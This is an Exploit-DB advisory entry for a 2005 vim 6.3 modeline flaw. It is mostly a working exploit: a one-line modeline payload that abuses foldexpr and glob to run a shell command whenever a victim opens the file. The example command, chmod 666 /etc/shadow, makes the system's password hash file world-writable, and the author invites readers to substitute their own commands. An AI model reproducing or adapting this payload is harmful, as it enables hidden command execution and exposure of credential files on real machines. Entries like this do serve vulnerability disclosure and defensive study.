vim 6.3 < 6.3.082 - 'modlines' Local Command Execution

EDB-ID:

1119

CVE:

N/A




Platform:

Multiple

Date:

2005-07-25


1) open up a text file.

2) insert at the top the information (below).

/* vim: foldmethod=expr:foldexpr=glob("`chmod\ 666\ /etc/shadow`") */

3) if modlines = on anyone that opens the file with vim will execute the command:
   chmod 666 /etc/shadow
   
Have fun making your own commands.

The advisory can be found at:
  http://www.guninski.com/where_do_you_want_billg_to_go_today_5.html

/str0ke

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